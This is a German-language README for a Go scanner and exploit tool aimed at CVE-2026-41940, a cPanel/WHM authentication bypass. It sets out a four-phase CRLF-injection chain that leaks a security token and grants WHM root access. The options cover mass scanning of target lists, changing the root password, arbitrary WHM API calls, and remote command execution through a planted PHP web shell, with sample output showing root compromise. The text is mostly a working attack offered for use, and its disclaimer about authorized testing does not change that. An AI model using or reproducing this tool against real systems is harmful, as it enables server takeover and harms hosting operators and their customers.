
Go-basierter Scanner und Exploit-Tool für CVE-2026-41940, eine Authentifizierungsumgehung in cPanel/WHM. Unterstützt Batch-Scanning, Token-Leakage und Post-Exploitation-Aktionen wie RCE, Passwortänderung und API-Aufrufe.
Ein in Go geschriebenes CLI-Tool, das auf dem Python-PoC von watchTowr basiert und zur Erkennung und Ausnutzung der CVE-2026-41940 cPanel/WHM-Authentifizierungs-Bypass-Schwachstelle dient.
CVE-2026-41940 ist eine Authentifizierungs-Bypass-Schwachstelle in cPanel/WHM. Die Angriffskette nutzt eine CRLF-Injektion in den Basic-Auth-Header, um Sicherheits-Tokens zu leaken und WHM-Root-Zugriff zu erlangen.
4-Phasen-Angriffskette:
/login/, um das rohe whostmgrsession-Cookie zu erhaltenAuthorization: Basic-Header, um den Server dazu zu bringen, das cpsess-Sicherheits-Token im Location-Header der 307-Weiterleitung zu leakendo_token_denied, um die injizierten Authentifizierungsdaten vom Rohspeicher in den Cache zu übertragen/json-api/version mit dem geleakten Token, um Root-Zugriff zu verifizierenhttp://, https://, protokollfreien Formaten, automatische Deduplizierung-passwd)-api)-session)-cmd)[VULN] rot, [SAFE] grün hervorgehoben# Erfordert Go 1.20+
cd cpanel-checker
go build -o cpanel-checker .
| Parameter | Beschreibung | Beispiel |
|---|---|---|
-u | Einzelne Ziel-URL | -u https://1.2.3.4:2087 |
-f | Datei mit URL-Liste | -f targets.txt |
-o | Ausgabedateipfad (Standard result.txt) | -o vuln.txt |
-c | Parallelität (Standard 10) | -c 20 |
-hostname | Host-Header manuell angeben (Standard: automatische Erkennung) | -hostname cpanel.example.com |
-passwd | Root-Passwort ändern (nur -u-Modus) | -passwd NewP@ss123 |
-api | WHM-API-Funktion aufrufen (nur -u-Modus) | -api listaccts |
-api-params | WHM-API-Parameter, kommagetrennt | -api-params user=root,password=123 |
-session | Root-Ein-Klick-Login-URL generieren (nur -u-Modus) | -session |
-keep | Temporäres RCE-Konto behalten (in Kombination mit -cmd) | -keep |
-cmd | Remote-Befehl ausführen / RCE (nur -u-Modus) | -cmd "id" |
./cpanel-checker -u https://target:2087
Der Standardport ist 2087, die folgenden Schreibweisen sind äquivalent:
./cpanel-checker -u https://target
./cpanel-checker -u target
./cpanel-checker -f targets.txt -c 20
targets.txt unterstützt die folgenden Formate (eine pro Zeile, # am Anfang ist ein Kommentar):
https://1.1.1.1:2087
http://2.2.2.2:2087
3.3.3.3:2087
4.4.4.4
# Dies ist ein Kommentar
http://1.1.1.1 und https://1.1.1.1 gelten als dasselbe Ziel und werden nur einmal gescannthttps:// ergänzt2087result.txt gespeichert (über -o anpassbar)./cpanel-checker -u https://target:2087 -passwd "NewP@ssw0rd!"
# Alle Konten auflisten
./cpanel-checker -u https://target:2087 -api listaccts
# Mit Parametern aufrufen
./cpanel-checker -u https://target:2087 -api passwd -api-params "user=root,password=abc123"
./cpanel-checker -u https://target:2087 -session
Gibt eine URL aus, die im Browser geöffnet werden kann, um direkt in das WHM-Verwaltungspanel zu gelangen. Über die Terminal-Funktion im Panel kann eine interaktive Root-Shell erhalten werden.
Hinweis:
-sessionist halbautomatisch — das Tool generiert die Login-URL, die du dann manuell im Browser öffnen musst.
./cpanel-checker -u https://target:2087 -cmd "id"
Mit -keep wird das temporäre Konto behalten, um sich im cPanel-Backend anzumelden:
./cpanel-checker -u https://target:2087 -cmd "id" -keep
Bei Verwendung von -keep enthält die Ausgabe Benutzername, Passwort und cPanel-Login-Adresse (https://host:2083) des temporären Kontos. Mit diesen Anmeldedaten kann man sich direkt im cPanel-Panel anmelden.
-cmd ist vollautomatisch und erfordert keine weiteren manuellen Schritte. Interner Ablauf:
Fileman::save_file_content) in ~/public_html/ schreibenhttps://host/~tmpuser/shell.php ausführenVoraussetzung: Port 80 oder 443 des Ziels muss erreichbar sein und Apache/httpd muss laufen.
Mehrere Exploit-Parameter können gleichzeitig verwendet werden:
# Login-URL erhalten, Befehl ausführen und Passwort ändern
./cpanel-checker -u https://target:2087 -session -cmd "id" -passwd "NewP@ss123"
Wenn die Ziel-IP nicht mit dem in cPanel konfigurierten Hostnamen übereinstimmt, kann dieser manuell angegeben werden:
./cpanel-checker -u https://1.2.3.4:2087 -hostname cpanel.example.com
Standardmäßig erkennt das Tool den korrekten Hostnamen automatisch über die 307-Weiterleitung von /openid_connect/cpanelid.
[1/5] [VULN] https://1.1.1.1:2087 - token=/cpsess1234567890
[2/5] [SAFE] https://2.2.2.2:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
[3/5] [SAFE] https://3.3.3.3:2087 - stage1: request failed: dial tcp: i/o timeout
[4/5] [VULN] https://4.4.4.4:2087 - token=/cpsess0987654321
[5/5] [SAFE] https://5.5.5.5:2087 - stage2: no cpsess token leaked (HTTP 301), likely patched
========== Scan abgeschlossen ==========
Gesamt: 5 | Anfällig: 2
● https://1.1.1.1:2087
● https://4.4.4.4:2087
[+] Ergebnisse wurden in result.txt gespeichert
[*] Ziel: https://target:2087
[*] Modus: Exploit
[0] hostname = cpanel.example.com
[1] minting a preauth session...
session base = abc123def456
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
leaked token = /cpsess1234567890
[3] firing do_token_denied to propagate raw -> cache...
gadget fired
[4] verifying we're WHM root...
[+] WHM-Root-Zugriff erlangt
[*] Remote-Befehl ausführen (RCE)...
[a] Temporäres Konto erstellen: tmpabcde
[b] Shell schreiben: /home/tmpabcde/public_html/random.php
[c] Befehl ausführen: id
[d] Temporäres Konto löschen: tmpabcde
[+] Befehlsausgabe:
uid=0(root) gid=0(root) groups=0(root)
[+] Fertig. https://target:2087 wurde kompromittiert
-passwd, -api, -session, -cmd) sind nur im -u-Einzelzielmodus verfügbar, nicht im -f-Batchmodus# beginnen, werden ignoriertDieses Tool ist ausschließlich für autorisierte Sicherheitstests und Forschungszwecke bestimmt. Das Testen von Systemen ohne Autorisierung ist illegal. Der Benutzer muss sicherstellen, dass er die ausdrückliche schriftliche Genehmigung des Eigentümers des Zielsystems erhalten hat. Der Autor übernimmt keine Verantwortung für jeglichen Missbrauch.